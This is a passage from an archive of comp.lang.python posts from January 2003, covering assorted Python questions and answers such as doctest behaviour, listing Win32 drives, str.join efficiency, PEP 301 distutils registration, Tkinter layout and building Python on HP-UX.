developers at all.

> That's not too much to ask, I think. [...]

You can ask all you want, but in the end either somebody will have to
pay for this or somebody intrisically interested in gettings this done
will have to implement it herself.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/




From tecargile at hotmail.com  Thu Jan  9 23:32:35 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 9 Jan 2003 20:32:35 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com>
Message-ID: <8b67aef5.0301092032.56c02526@posting.google.com>

judoscript at hotmail.com (James Huang) wrote in message news:<52719db8.0301062130.5299a0ff at posting.google.com>...
> Perl and Python programmers are all material witnesses
> of how scripting can greatly improve productivity.

Well I don't know how material they are in this job market,
but I sure Msrs. Bourne and Korn might have something to
say about your assertion.  What do you think the cost of
implementing all the shell scripts in existence in 'C'
would have been?  Have you ever seen a 7K line shell script?
Get my drift?

> That's why scripting languages enjoy great success. Scripting
> means that we can issue OS commends from within a
> full-fledged programming language -- a scripting language.
>

snip, snip

I say ... one job market ... one programming language.
Now that would be interesting.

snip, snip
 
> The rule of thumb is, if your scripts make a lot of
> system calls, stay where you are; otherwise, Java is
> well worth investigating. If you do, then do it with
> the right tool -- JudoScript -- you won't regret it.

Looks bad for the shell scriptors, fer sure.

> 
> 
> Wish you all a fruitful year of 2003!
>
Ditto.  But I'll be working on my KarateScript. 
> 
> -James Huang,
>  author of JudoScript



From maxm at mxm.dk  Thu Jan 23 04:19:35 2003
From: maxm at mxm.dk (Max M)
Date: Thu, 23 Jan 2003 10:19:35 +0100
Subject: Python use growing or shrinking
In-Reply-To: <v2rhpd4d6p8f79@corp.supernews.com>
References: <v2rhpd4d6p8f79@corp.supernews.com>
Message-ID: <_qOX9.42965$Hl6.5134840@news010.worldonline.dk>

Greg Brunet wrote:

> There's only a general discussion of their methodology, and I'm not
> arguing that one should choose a language solely because of it's
> popularity or rate of increase/decrease (and what's up with RPG having
> the second fastest growth rate!?!).  Still, it's it provides another
> viewpoint on 'the language wars'.


There is no doubt in my mind that Python use is growing! I use it for 
more and more tasks.


;-)

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From a.schmolck at gmx.net  Tue Jan 14 10:05:36 2003
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: 14 Jan 2003 15:05:36 +0000
Subject: bug in doctest?
Message-ID: <yfswul77ovz.fsf@black132.ex.ac.uk>

I ran into what I believe to be a bug in doctest and cost me quite a bit of
time.

Isn't doctest meant to work pretty much with unmodified interactive session
output (where that does make sense)? I doesn't seem to treat comments
correctly:

   import doctest, test
   def aTest():
       r""">>> # A comment
           ... print 'This is incorrectly ignored by doctest'
           This output here really doesn't matter either... (but SHOULD)
           >>>
           """
   doctest.testmod(test)

Doesn't produce any error. The print line and the (wrong) output following it
are just ignored. Changing '...' to '>>>' after the comment solves the
problem, but that means editing the interactive session output.


Also, wouldn't it be a good idea to (at least optionally) ignore memory
adresses in instance repr's that follow the pattern:

   <foo.Bar instance at 0x80d7624>

(i.e. see if the output matches something like (untested):

   ^<[\w.]+ instance at 0x([\da-f]+)>$

and if so ignore the last group?).


I could be convinced to submit a patch sometime if there is interest.

alex



From Loko at caramail.com  Tue Jan 21 03:35:29 2003
From: Loko at caramail.com (Loko)
Date: 21 Jan 2003 00:35:29 -0800
Subject: Convert seconds in minutes, hours, days, years ...
References: <399d6c30.0301160510.38703bfe@posting.google.com> <b06dll$kim$1@terra.news.tehnicom.net> <399d6c30.0301170024.8142cbf@posting.google.com> <ad052e5c.0301170811.5bcfed7f@posting.google.com>
Message-ID: <399d6c30.0301210035.5eb30ce3@posting.google.com>

danb_83 at yahoo.com (Dan Bishop) wrote in message news:<ad052e5c.0301170811.5bcfed7f at posting.google.com>...

Ok, thank you Dan.



From yaipa at yahoo.com  Thu Jan  2 12:48:17 2003
From: yaipa at yahoo.com (yaipa h.)
Date: 2 Jan 2003 09:48:17 -0800
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org>
Message-ID: <6e07b825.0301020948.4344e7b7@posting.google.com>

David,

First let me thank you for all your great articles and your
on-line book in progress.

I am currently writing a multi-disk sector editor for 
use with Storage devices such as digital film cards. These
devices are Flash Memory based and require complex business
logic to move data around because jpg files tend to be smaller
than erase blocks and people tend to erase files one at a time.
Because erase cycles in flash tend to be slow, files not to
be deleted are mapped to other sectors before the sector is
erased.  This all leads to why it is interesting to read/write
the same data to multiple drives and then have a sector editor
that can work with multiple drives referencing the same physical
sector for each device ( think map() et. al. ). Drives are slow 
in respect to CPU time and therefor, if one is working with a 
'bunch' of devices at the same time I believe your Multiple Dispatch 
logic will be of some help.  As the project progresses I will 
incorporate your code and report back my findings to this thread,
although it maybe a month or two before I do so.

Thanks again,

yaipa.h


mertz at gnosis.cx (David Mertz) wrote in message news:<mailman.1041492423.21345.python-list at python.org>...
> I've got to thinking about multimethods/multiple dispatch lately.  I
> wonder if Pythonistas have some futher opinions on the use of these.
> Actually, part of it is that I'd -really- like to better understand use
> cases for multiple dispatch.  As a trick, I can see it has a certain
> elegance, but little rock/paper/scissors toys are not, finally,
> compelling.
> 
> An inspiration for the code I am about to mention is simple and
> beautiful code posted a bit over a month ago by Tim Hochberg.  I played
> with that, and enhanced it fairly greatly at:
> 
>     http://www.gnosis.cx/secret/multimethods.py
> 
> I welcome comments of any sort on the code.
> 
> There are a few things that I had particularly in mind.  In reading
> about Dylan, I found that it has a method named 'next-method( )' to
> propogate dispatch from the closest match to more distant ones.  You can
> control whether you want this to happen by including that method, or
> not.  Take a look at:
> 
>     http://www.tpk.net/~ekidd/dylan/multiple-dispatch.html
> 
> In my code, I added the facility to propogate dispatch.  Using the
> simple example that was a topic of conversation here 6 weeks ago, you
> can make a call like:
> 
>     beats.add_rule((Fire,Thing), firepower, next_meth=AT_END)
> 
> I give you options to propogate dispatch either before or after the code
> within the current method execution.
> 
> As well, I decided to make dispatch resolution order configurable.
> Hochberg's example was perhaps naive in fixing resolution order
> according to definition order.  That seems a little fussier than I would
> want.  So I made that configurable as well, and provide four sample
> resolution functions.  Two are naively definition-order based (either
> forward or reversed).  But two others are perhaps better candidates:
> 'lexicographic_mro()' and 'weighted_mro()'.  If I understand correctly
> (which I may not), the first follows Dylan, the second follows Damian
> Conway' Class::Multimethods.  I would be interested to understand other
> examples, particularly CLOS.  I have little intuition about what is the
> "right" answer.
> 
> Since I allow propogated dispatch, I had to decide what to do with
> results from the function calls.  I decided to accumulate all returned
> values into a list, and let the user pick what they want.  So for
> example:
> 
>     <fire, fire>      ['Fire always wins!', 'Fire always wins!', 0]
> 
> But for a non-propogating rule, the list has a single member:
> 
>     <rock, scissors>  [1]
> 
> If you stick to either 'SKIP' or 'AT_END' propogation, you can count on
> index 0 of the return being the most specific function's value.  Or if
> conversely, you like 'AT_START', you can use index -1.  If you mix the
> two styles, it could become complicated to find relevant return values.
> 
> Yours, David...



From tundra at tundraware.com  Thu Jan  2 12:50:06 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 02 Jan 2003 17:50:06 GMT
Subject: Win32 Drive List Redux
Message-ID: <ert1va.ruj2.ln@boundary.tundraware.com>

Some time ago, there was a brief thread on how to get a list of
available drives on Win32.  Peter Hansen suggested the use of:

win32api.GetLogicalDriveStrings()


And Ken Seehof suggested:

def drives():
     d = []
     for c in string.lowercase:
         if os.path.exists('%s:/'%c):
             d.append('%s:'%c)
     return d


In my application, the first solution is not practical because I cannot
gurantee the user will have win32api (win32all) installed.

The second solution is perfect, except ... on some machines (and I
don't know why not on others), the attempt to check for 'a:/' causes
Windows to present a dialog demanding that you insert a floppy to
continue.  The bchavior is identical if you use 'a:\\' as the test
string.  This is a showstopper for my intented use. Does anyone have
a workaround or a better way to get the drive list?
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From jdsdafsfad at sdfsdfa.invalid  Sat Jan  4 22:52:30 2003
From: jdsdafsfad at sdfsdfa.invalid (Jive Dadson)
Date: Sat, 04 Jan 2003 19:52:30 -0800
Subject: threading module
References: <3E179E26.804C267A@dfsdfssdfa.invalid> <av88c5$evm$1@panix2.panix.com>
Message-ID: <3E17ABFE.88C7B577@sdfsdfa.invalid>

Aahz wrote:

> In article <3E179E26.804C267A at dfsdfssdfa.invalid>,
> Jive Dadson  <jsdfadfasfsda at dfsdfssdfa.invalid> wrote:
> >
> >Can anyone tell me who wrote the threading module?  There are some
> >aspects of it that I would like to discuss.
>
> Many people contributed, but Guido and Tim Peters probably did the most
> actual work.  However, bugging them privately is likely to be
> counter-productive; if you have issues that you want to bring up, this
> is the place.

"Bugging" is not the word I would have chosen. :)  I do have some questions and
suggestions.  Thanks for the response.  I understand your position, and I will
consider it carefully before I "bug".

J.








From tjreedy at udel.edu  Sat Jan 18 21:31:51 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 18 Jan 2003 21:31:51 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com>
Message-ID: <i7KdnckAi6lfkLejXTWcog@comcast.com>

"Aahz" <aahz at pythoncraft.com> wrote in message
news:b0cugo$97r$1 at panix2.panix.com...
> In article <3E28D273.13497D3E at alcyone.com>,
> Erik Max Francis  <max at alcyone.com> wrote:
> >
> >Furthermore, it's inherently a string-based operation, therefore
the
> >method should go on the string.  I personally find ','.join(S)
extremely
> >inuitive and readable.
>
> That's presuming that there should be a method at all, which is
where I
> and others disagree.

Would you have continued to require 'import string' to access it?
or would you have added it to builtins?  Whichever, would you
have done the same with some or all the other string module functions?

>  And while I agree that ','.join(S) is intuitive
> and readable, that is no exclusion to calling it ugly, too.

And likewise, admitting that it is a bit ugly, at least to some,
is no exclusion to thinking that it is very handy to have it
directly available, just like its quasi-inverse, .split(),
and with the same syntax.

Terry J. Reedy






From akuchlin at ute.mems-exchange.org  Fri Jan  3 11:16:25 2003
From: akuchlin at ute.mems-exchange.org (A.M. Kuchling)
Date: 03 Jan 2003 16:16:25 GMT
Subject: PEP 301 implementation checked in
Message-ID: <slrnb1bdqp.l3t.akuchlin@ute.mems-exchange.org>

I've just checked in Richard Jones's patches implementing PEP 301, so
those of you who follow the Python CVS trunk can now play with the
code.  Changes:

        * The DistributionMetadata object and the setup()
          function now support 'classifiers' as a keyword.
        * The 'register' distutil command has been added to upload
          a package's metadata to the PyPI server.

The registry is still running on my web server at amk.ca, a
bandwidth-limited DSL line, but it'll be moved to something at
python.org before too long.  (Certainly before 2.3final ships!)

Please bang on the distutils code in any way you can think of, filing
bug reports and offering comments, so we can be sure that it's solid.
You can comment on the web site, too, but the site can be updated
independently of the Python code so there's less pressure to get it
finished before 2.3final.

Here's an example of how the new code works.  A setup.py file can now
contain a 'classifiers' argument listing Trove-style classifiers:

setup (name = "Quixote",
       version = "0.5.1",
       description = "A highly Pythonic Web application framework",
       ...
       classifiers= ['Topic :: Internet :: WWW/HTTP :: Dynamic Content',
                     'Environment :: No Input/Output (Daemon)',
                     'Intended Audience :: Developers'],
       ...
    )

I can then run 'python setup.py register' to upload an entry to the
package index, which is currently browseable at
http://www.amk.ca/cgi-bin/pypi.cgi .  ('register --list-classifiers'
will output a list of legal classifiers.)

See PEP 301 for more details.  Comments are most appropriate on the
Catalog-SIG, but they'll be seen if you post them here, too.

--amk                                                             (www.amk.ca)
OLIVIA: Why, this is very midsummer madness.
      -- _Twelfth Night_, III, iv



From BPettersen at NAREX.com  Mon Jan  6 14:17:32 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 6 Jan 2003 12:17:32 -0700
Subject: Distributing Python apps
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDEA6@admin56.narex.com>

> From: Just van Rossum [mailto:just at letterror.com] 
> 
> Bjorn Pettersen wrote:
> 
> > [ ... ] It seems it might be useful to add a module to the library 
> > that emits the graph either through static analysis, or by logging 
> > imports during a run. Static analysis could probably catch 95% of
the 
> > imports, and even with run-time logging you might be hosed if you 
> > don't execute the program path that imports a module. If you combine

> > them I would think you'd get in the 99% range (which I think is
quite 
> > acceptable for a language like Python).
> 
> Python 2.3a1 contains modulefinder.py (used to be part of the 
> Freeze package). It does static import analysis and keeps 
> track of which modules import which. It still needs to be 
> documented, though... It only misses imports done in exec 
> statements and by __import__ calls.

Coolness :-) Let's see someone do that in C++ <grin>. What kind of
documentation are you looking for? (end user, packager developer, doc
strings...)

My favorite part of the code
(http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/L
ib/modulefinder.py?rev=1.2&content-type=text/vnd.viewcvs-markup) had to
be:

  if op >= dis.HAVE_ARGUMENT:
      oparg = ord(code[i]) + ord(code[i+1])*256
      i = i+2

black-magic-is-only-for-the-initiated'ly y'rs
-- bjorn




From max at alcyone.com  Wed Jan 29 01:30:33 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 28 Jan 2003 22:30:33 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <3E376CB6.D4A32AF2@alcyone.com> <7xbs208p11.fsf@ruckus.brouhaha.com>
Message-ID: <3E377509.6376A031@alcyone.com>

Paul Rubin wrote:

> So that applications can use it without having to wait for 2.3.1 or
> whatever.

Why the rush to even get it into a 2.3 dot release?  Who needs this
functionality so urgently?

If you want it to get in, take the slow route.  Submit (or revise) a
PEP, and take your time.  You're in a big hurry to get it into the
version of Python that's already gone alpha, but I don't think anybody
else sees the point of the urgency.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Hell is other people.
\__/ Jean-Paul Sartre
    REALpolitik / http://www.realpolitik.com/
 Get your own customized newsfeed online in realtime ... for free!



From jorgencederberg at hotmail.com  Fri Jan 24 03:15:36 2003
From: jorgencederberg at hotmail.com (=?ISO-8859-1?Q?J=F8rgen_Cederberg?=)
Date: Fri, 24 Jan 2003 09:15:36 +0100
Subject: widget communication in Tkinter
References: <3E301C00.5050709@motorola.com>
Message-ID: <3E30F628.4090406@hotmail.com>

Stephen Boulet wrote:
> Is there a standard method for widgets to communicate with one another 
> in tkinter?
> 
> For example, if I want a button press to update a label's text field, I 
> found that I can make a MyButton class that inherits Button, and store 
> my label's config method as a MyButton method.
> 
> I was wondering if tkinter has some sort of built in mediator class to 
> handle transactions like this.

Well not exactly. But you can avoid the use of config calls, and instead 
use a StringVar to update the label. This example shows how to use it.
http://www.faqts.com/knowledge_base/view.phtml/aid/17884/fid/264

Regards
Jorgen




From gyromagnetic at excite.com  Tue Jan 14 07:49:54 2003
From: gyromagnetic at excite.com (gyro)
Date: Tue, 14 Jan 2003 05:49:54 -0700
Subject: string formatting with missing dictionary key 
In-Reply-To: <3e22f35a@news.ColoState.EDU>
References: <3e22f35a@news.ColoState.EDU>
Message-ID: <3e240773@news.ColoState.EDU>

> (Requires Python 2.2)
> 
> class D(dict):
>     def __getitem__(self, item):
>         if not self.has_key(item): return "default"
>         return super(D, self).__getitem__(item)
>         
> print "%(a)s ; %(d)s; %(e)s" % D({'a':1, 'b':2, 'c':3})
> 
>  <from Jeff Epler>


> 
>>>>>>> from UserDict import UserDict
>>>>>>> class MyDict(UserDict):
> 
> ...  def __getitem__(self, k):
> ...   return self.data.get(k, 'no data')
> ...
> 
> 
>>>>>>>
> 
> 
> --Gilles
> 


>>>>class myDict:
> 
> ... 	def __init__(self,default='default'):
> ... 		self.mdict={}
> ... 		self.default=default
> ... 	def __setitem__(self,key,value):
> ... 		self.mdict[key]=value
> ... 	def __getitem__(self,key):
> ... 		return self.mdict.get(key,self.default)
> ... 	def keys(self):
> ... 		return self.mdict.keys()
> ... 	def values(self):
> ... 		return self.mdict.values()
> ... 	def items(self):
> ... 		return self.mdict.items()
> ... 	def update(self,dict):
> ... 		self.mdict.update(dict)
> ... 
> 
> 
> Cheers Peter!


Thanks Jeff, Gilles, and Peter!
Looks like subclassing dict/UserDict or creating a new dict class is the 
way to go.

-g




From neal at metaslash.com  Tue Jan  7 12:18:20 2003
From: neal at metaslash.com (Neal Norwitz)
Date: Tue, 07 Jan 2003 12:18:20 -0500
Subject: python 2.2.2 on hpux11.0
References: <461d4acb.0301061720.fe0bcfd@posting.google.com> <3E1A31E7.F8D69DEB@alcyone.com> <461d4acb.0301070808.6199fdfb@posting.google.com>
Message-ID: <pan.2003.01.07.17.18.14.416351.9294@metaslash.com>

On Tue, 07 Jan 2003 11:08:40 -0500, X3 wrote:

>From what it looks like below, you have cached the configure options
from a different machine.  Try rm config.* and then re-running
configure/make.

If that doesn't work, you can do ./configure --without-gcc

Neal
--
> I am adding stdout and stderr of configure and make.  please let me know
> if any questions.  I think I need c compiler and stuff.  thanks.
> 
> configure output:
> -----------------
> 
> loading cache ./config.cache
> checking MACHDEP... hp-ux11
> checking for --without-gcc... no
> checking for --with-cxx=<compiler>... no
> checking for c++... no
> checking for g++... no
> checking for gcc... no
> checking for CC... no
> checking for cxx... no
> checking for cc++... no
> checking for cl... no
> checking for gcc... (cached) cc
> checking whether the C compiler (cc  ) works... yes 
> checking whether the C compiler (cc  ) is a cross-compiler... no 
> checking whether we are using GNU C... (cached) no 
> checking whether cc accepts -g... (cached) no
> checking how to run the C preprocessor... (cached) cc -E
> checking for AIX... no
> checking for minix/config.h... (cached) no
> checking for Cygwin environment... (cached) no
> checking for mingw32 environment... (cached) no
> checking for executable suffix... (cached) no
> checking for --with-suffix...
> checking for case-insensitive build directory... no
> checking LIBRARY... libpython$(VERSION).a
> checking LINKCC... $(PURIFY) $(CC)
> checking LDLIBRARY... libpython$(VERSION).a
> checking for ranlib... (cached) ranlib
> checking for ar... (cached) ar
> checking for a BSD compatible
> install... ./install-sh -c checking for --with-pydebug... no
> checking whether cc -Ae accepts -OPT:Olimit=0... (cached) no
> checking whether cc -Ae accepts -Olimit 1500... (cached) no
> checking whether pthreads are available without options... (cached) no
> checking whether cc -Ae accepts -Kpthread... (cached) no 
> 
> 
> make output:
> -------------
> 	cc -Ae -c -DNDEBUG -O -I. -I./Include -DHAVE_CONFIG_H  -o
> Modules/python.o Modules/python.c
> (Bundled) cc: warning 480: The -A option is available only with the
> C/ANSI C product; ignored.
> (Bundled) cc: warning 480: The -O option is available only with the
> C/ANSI C product; ignored.



From lac at strakt.com  Wed Jan 22 09:08:59 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 22 Jan 2003 15:08:59 +0100
Subject: tkinter buttons and columnspan 
In-Reply-To: Message from Stephen Boulet <stephen@theboulets.net> 
   of "Wed, 22 Jan 2003 07:55:14 CST." <Tx6cnSH-ZqoXPrOjXTWc-g@speakeasy.net> 
References: <3E2E1A02.90805@motorola.com> <b0lm47$j3s$1@news-reader12.wanadoo.fr> <Tx6cnSH-ZqoXPrOjXTWc-g@speakeasy.net> 
Message-ID: <200301221408.h0ME8xjL017323@ratthing-b246.strakt.com>

> Yep, that's exactly what I'm saying; it doesn't work:
> 
> from Tkinter import *
> 
> root = Tk()
> 
> Button(root,text = 'foo').grid(column=0, row=0)
> Button(root,text = 'foo').grid(column=1, row=0)
> Button(root,text = 'foo').grid(column=0, row=2, columnspan=2)
> 
> root.mainloop()

You need the sticky option. 
Button(root,text = 'foo').grid(column=0, row=2, columnspan=2, sticky=W+E+N+S)

see: http://www.pythonware.com/library/tkinter/introduction/x4951-patterns.htm

Laura Creighton




From max at alcyone.com  Fri Jan 31 22:38:32 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 31 Jan 2003 19:38:32 -0800
Subject: Joining strings versus augmented assignment
References: <8f2c2d6b.0301310534.426f1f64@posting.google.com>
Message-ID: <3E3B4138.712AB5ED@alcyone.com>

Andy Todd wrote:

> In his Linux Journal piece on Quixote ... Greg Ward mentions
> that when joining a series of strings together it is more efficient to
> use "".join(listOfStrings) rather than += (augmented assignment).
> 
> I couldn't find any obvious references to this in the documentation or
> in this group.
> 
> Would anyone care to explain why this is so to a poor ignoramous?

As other people have pointed out, it's because augmented assignment
needs to repeatedly create and destroy objects, whereas S.join can do
the concatenation all at the C level and needs to only create one
object.

The same precept generally applies to other constructs, such as using
string formatting (S % T) rather than building the string bit by bit.

	"%d of %s" % (kiom, kio)

is certain to be faster than

	str(kiom) + " of " + kio

even though they both do the same thing.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ It is much safer to obey than to rule.
\__/ Thomas a Kempis
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From abelikov72 at hotmail.com  Sun Jan  5 16:55:48 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Sun, 05 Jan 2003 21:55:48 GMT
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <d8mf1vsm6271d5m4nao9t91dcs7m865n82@4ax.com> <slrnb1go12.kv8.grante@localhost.localdomain>
Message-ID: <pjah1v0g2k0bll013pbmtspmvl6vd67ojn@4ax.com>

On 05 Jan 2003 16:37:08 GMT, Grant Edwards <grante at visi.com> wrote:

>In article <d8mf1vsm6271d5m4nao9t91dcs7m865n82 at 4ax.com>, Afanasiy wrote:
>> On Sun, 5 Jan 2003 01:40:25 -0500, "Etienne Charland"
>
>> As far as I know, Python has nothing as good as the .NET WinForms
>> wrapping of native Win32 interface components. Mark Hammond has wrapped
>> MFC, but that does not compare to WinForms.
>
>I don't know much about WinForms, but wxWindows and Gtk both provide
>nice frameworks around native Win32 UI components.

Not really... Wx is fairly buggy and unstable,
and Gtk does not wrap native Win32 UI components.
Neither compare well to WinForms or Borland VCL.



From alloydflanagan at attbi.com  Thu Jan  9 09:41:41 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 9 Jan 2003 06:41:41 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <b03e80d.0301070427.6db0ff67@posting.google.com> <52719db8.0301072113.3c143cfe@posting.google.com>
Message-ID: <a8b7f07a.0301090641.2ed85213@posting.google.com>

judoscript at hotmail.com (James Huang) wrote in message news:<52719db8.0301072113.3c143cfe at posting.google.com>...
> > and that really was the end of my brief interlude with judoscript. 
> > 
> > Sandy
> 
> So you went to the whitepaper, searched on "jython" in the browser and
> finished your research (actually, search)? Doing a language is a huge
> undertaking; it would indeed be ludicrous to start one without looking
> around first.
> 

I believe Sandy's main point was that the quotation makes no sense, at
least in terms of understanding of Java, Python, and Jython's
relationships.  If you don't understand Python, how can you argue
Judoscript is better?
You may have a good point in there somewhere, I just don't know what
it is.



From jbperez808 at yahoo.com  Tue Jan 28 23:43:39 2003
From: jbperez808 at yahoo.com (Jon Perez)
Date: Wed, 29 Jan 2003 12:43:39 +0800
Subject: java introduction for pythonistas
References: <20030127112513.GA671@matijek> <3e3565f3$0$145$e4fe514c@dreader7.news.xs4all.nl>
Message-ID: <b17lfa$106d1h$1@ID-180326.news.dfncis.de>

"Ype Kingma" <ykingma at accessforall.nl> wrote in message news:3e3565f3$0$145$e4fe514c at dreader7.news.xs4all.nl...
> Alex Polite wrote:
>
> >
> > I've been working a few years with python. I'm  rather confident with
> > basic OO design principles. Now some people that I consult for might
> > be moving to Java. So I need to get up to speed with java. Are there
> > any good documents out there for people with a python background
> > coming to Java.
>
> 1) Give them Jython to revert to, and hope they'll only use Java for
>    performance critical things.

Jython is definitely slower than CPython and only recommended if
you're married to the Java platform and APIs.  Python is already
cross-platform on its own and hence is a worthwhile alternative to
Java in many situations.  For performance critical stuff, writing
your C extensions is the way to go.  One would need to make the
Java/Jython tradeoff only if there's some functionality present in
the Java APIs you don't get with the Python library and are not
willing to code it in C for each platforms you wish to run on.

The Java APIs are vast indeed, but the libraries available for
CPython's are nothing to sneeze at either.





From peter at engcorp.com  Mon Jan 27 09:42:35 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 27 Jan 2003 09:42:35 -0500
Subject: beating a dead horse: automated form submission
References: <b0e655d.0301251204.5b7415e5@posting.google.com> <3E32EFD8.D00D4656@engcorp.com> <b0e655d.0301260938.14265877@posting.google.com> <3E342721.E8925970@engcorp.com> <b0e655d.0301270041.34ebedff@posting.google.com>
Message-ID: <3E35455B.9E4470DB@engcorp.com>

Whit Whitfield wrote:
> 
> Peter Hansen <peter at engcorp.com> wrote in message news:<3E342721.E8925970 at engcorp.com>...
> > Not sure what else might be going wrong... why not try
> > the example from the documentation on httplib?
> 
> I tried to run that example and get an Attribute error:HTTPConnection.
> It's a sad affair when I can't even get the 10-line examples from the
> standard python libraries to work.  Any tips there?

In addition to Andrew's possibility, what version of Python
are you running?  I just ran that exact example on Python 2.2.2
and it ran without a hitch.  But it's very likely Andrew's
hit the nail on the head.

-Peter



From abelikov72 at hotmail.com  Sun Jan  5 02:14:52 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Sun, 05 Jan 2003 07:14:52 GMT
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net>
Message-ID: <d8mf1vsm6271d5m4nao9t91dcs7m865n82@4ax.com>

On Sun, 5 Jan 2003 01:40:25 -0500, "Etienne Charland"
<mystery at golden.net> wrote:

>I would like to compare Python with .Net. First of all, for those who knows
>.Net, what are the pros and the cons of each? Secondly, how would I write
>this simple database application in Python, to see how it looks like. I've
>written the code required to do it in VB.Net.
>
>Let's say I have a window containing a ComboBox and a TextBox. At program
>load time, I get data from a database. I get those fields: "ID", "Code",
>"gNom". The ComboBox must contain the list of clients, showing the "Code"
>field . But I also must be able to get the associated ID of the selected
>item. And the items have to be sorted. When I select a client, the field
>"gNom" has to be displayed in the textbox, for the selected client.

As far as I know, Python has nothing as good as the .NET WinForms
wrapping of native Win32 interface components. Mark Hammond has wrapped
MFC, but that does not compare to WinForms.

Some people will suggest Tk and perhaps other GUI toolkits, but I don't
think anything that wraps native Win32 UI components in a nice framework
like WinForms (or even antiquated VCL) exists.

To answer your question, the application you presented would likely look
quite a bit different in Python and likely worse in code and appearance
because there is nothing like .NET's WinForms for Python. In fact, this
sort of well designed wrapping of native UI components is often missing
in many languages and platforms. DigitalMar's D is one in particular for
which I would love to see a possible VCL/WinForms-like UI framework.

On the other hand, Python does not use the same huge amount of resources
as .NET (or Java). Memory use is perhaps the biggest and most absolute
problem I have always had with Java and now .NET. The large runtime size
is another, secondary, problem for me.

Personally, I develop my GUI in non-Python and choose to embed Python,
but will never use .NET or Java because of their insane resource usage.



From mwilson at the-wire.com  Fri Jan 17 11:53:04 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Fri, 17 Jan 2003 11:53:04 -0500
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com>
 <mailman.1042765110.10945.python-list@python.org>
 <f57664b9.0301170054.1c5fbe38@posting.google.com>
Message-ID: <wTDK+ks/KzDe089yn@the-wire.com>

In article <f57664b9.0301170054.1c5fbe38 at posting.google.com>,
jbperez808 at yahoo.com (Jonathan P.) wrote:
>I need to iterate using for in both the original order and
>in reverse depending on the situation.
>
>The main thing that bugs me is that I have to choose between
>storing 2 copies of the same data (one reversed, the other not)

   Note that you don't necessarily store two copies of all
the same data.. you store two collections of references to
the 'same data'.  It could make a difference.

        Regards.        Mel.



From warrenpstma at _______.com.hotmail  Mon Jan 27 10:07:41 2003
From: warrenpstma at _______.com.hotmail (WP)
Date: Mon, 27 Jan 2003 10:07:41 -0500
Subject: BDE mit Python?
In-Reply-To: <3E34F503.2000906@web.de>
References: <3E34F503.2000906@web.de>
Message-ID: <fWbZ9.819$hw4.253749@news20.bellglobal.com>

Ingo Linkweiler wrote:
> Ist es m?glich, mit Python auf eine Borland Datenbank (BDE) zuzugreifen?
> Welche Module kann ich daf?r verwenden?
> 
> Ingo
> 
<Auf Deutsch>

Nein.

<Switching to English>

Using the BDE in Python would be similar to trying to use JDBC from 
Python.  The question that comes to me is "Why would you ever want to?"

If you want to read DBASE or Paradox files (the usual suspects for BDE 
local databases) then you should be asking how
to read the dbf or paradox file format in Python.

If you're talking about an SQL database that you want to connect to,
try going direct. What database do you want to connect to.

Warren




From pnagel at nagel.co.za  Sat Jan  4 06:44:31 2003
From: pnagel at nagel.co.za (Pieter Nagel)
Date: Sat, 04 Jan 2003 13:44:31 +0200
Subject: new years resolutions
In-Reply-To: <3E164F92.58798556@engcorp.com>
References: <mailman.1041550805.3550.python-list@python.org> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com> <mailman.1041641110.13072.python-list@python.org> <3E164F92.58798556@engcorp.com>
Message-ID: <2292.3e16c91f.9dd65@basilisk>

Peter Hansen wrote:

> True.  I'm hoping to help a few people break free of the bonds of their
> experience to date and consider that many different things are actually
> just "programming", and perhaps thereby discover interesting ways to 
> transfer the useful patterns they have learned into new areas.

You are must likely right that people with a Computer Science background 
  tend to insist on limiting the term "programming language" to mean 
Turing Completeness, and only that.

But I don't thing it is due to an "ivory tower" attitude. In science, 
